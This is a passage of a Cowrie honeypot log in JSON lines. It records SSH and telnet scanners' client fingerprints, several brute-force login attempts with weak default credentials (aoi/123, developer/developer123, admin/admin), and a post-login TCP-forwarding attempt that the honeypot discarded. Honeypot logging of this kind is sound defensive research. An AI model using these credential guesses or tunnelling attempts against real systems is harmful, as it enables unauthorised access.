{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:13.186722Z","src_ip":"159.203.92.129","session":"4fbcd31a471c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:13.189919Z","src_ip":"159.203.92.129","session":"4fbcd31a471c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoi","password":"123","message":"login attempt [aoi/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:13.197847Z","src_ip":"159.203.92.129","session":"4fbcd31a471c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:14.203660Z","src_ip":"159.203.92.129","session":"4fbcd31a471c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.16069841384888,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:21.576772Z","src_ip":"185.26.126.47","session":"1257e7d6f81a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33194,"dst_ip":"159.203.135.109","dst_port":22,"session":"56792fe3fa61","protocol":"ssh","message":"New connection: 159.203.92.129:33194 (159.203.135.109:22) [session: 56792fe3fa61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:58.299571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:58.304305Z","src_ip":"159.203.92.129","session":"56792fe3fa61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:58.308751Z","src_ip":"159.203.92.129","session":"56792fe3fa61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoi","password":"123456","message":"login attempt [aoi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:58.321488Z","src_ip":"159.203.92.129","session":"56792fe3fa61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:59.332511Z","src_ip":"159.203.92.129","session":"56792fe3fa61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":62691,"dst_ip":"159.203.135.109","dst_port":22,"session":"41663d077317","protocol":"ssh","message":"New connection: 193.46.255.86:62691 (159.203.135.109:22) [session: 41663d077317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:21.932873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:21.938052Z","src_ip":"193.46.255.86","session":"41663d077317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:22.081024Z","src_ip":"193.46.255.86","session":"41663d077317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:22.729061Z","src_ip":"193.46.255.86","session":"41663d077317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49332,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c492fc8e340","protocol":"ssh","message":"New connection: 159.203.92.129:49332 (159.203.135.109:22) [session: 1c492fc8e340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:43.668121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:43.673706Z","src_ip":"159.203.92.129","session":"1c492fc8e340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:43.678484Z","src_ip":"159.203.92.129","session":"1c492fc8e340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoi","password":"aoi","message":"login attempt [aoi/aoi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:43.692542Z","src_ip":"159.203.92.129","session":"1c492fc8e340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:44.703582Z","src_ip":"159.203.92.129","session":"1c492fc8e340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":47474,"dst_ip":"10.17.0.5","dst_port":22,"session":"39b47ade1657","protocol":"ssh","message":"New connection: 210.79.142.221:47474 (10.17.0.5:22) [session: 39b47ade1657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:54.414232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:54.418516Z","src_ip":"210.79.142.221","session":"39b47ade1657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:54.660473Z","src_ip":"210.79.142.221","session":"39b47ade1657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer123","message":"login attempt [developer/developer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:55.663315Z","src_ip":"210.79.142.221","session":"39b47ade1657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:59:56.908392Z","src_ip":"210.79.142.221","session":"39b47ade1657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":53082,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ae47f571a17","protocol":"ssh","message":"New connection: 103.228.69.212:53082 (159.203.135.109:22) [session: 9ae47f571a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:12.601224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:12.607433Z","src_ip":"103.228.69.212","session":"9ae47f571a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:12.847722Z","src_ip":"103.228.69.212","session":"9ae47f571a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1234","message":"login attempt [test3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:13.794647Z","src_ip":"103.228.69.212","session":"9ae47f571a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:15.027423Z","src_ip":"103.228.69.212","session":"9ae47f571a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29280,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee19c12013c3","protocol":"ssh","message":"New connection: 87.251.64.176:29280 (10.17.0.5:22) [session: ee19c12013c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:23.173992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:23.179861Z","src_ip":"87.251.64.176","session":"ee19c12013c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:23.277013Z","src_ip":"87.251.64.176","session":"ee19c12013c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:23.567305Z","src_ip":"87.251.64.176","session":"ee19c12013c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:23.666659Z","session":"ee19c12013c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:23.765920Z","src_ip":"87.251.64.176","session":"ee19c12013c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:23.868500Z","src_ip":"87.251.64.176","session":"ee19c12013c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58402,"dst_ip":"159.203.135.109","dst_port":22,"session":"081a39ef122e","protocol":"ssh","message":"New connection: 159.203.92.129:58402 (159.203.135.109:22) [session: 081a39ef122e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:30.616952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:00:30.629821Z","src_ip":"159.203.92.129","session":"081a39ef122e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hm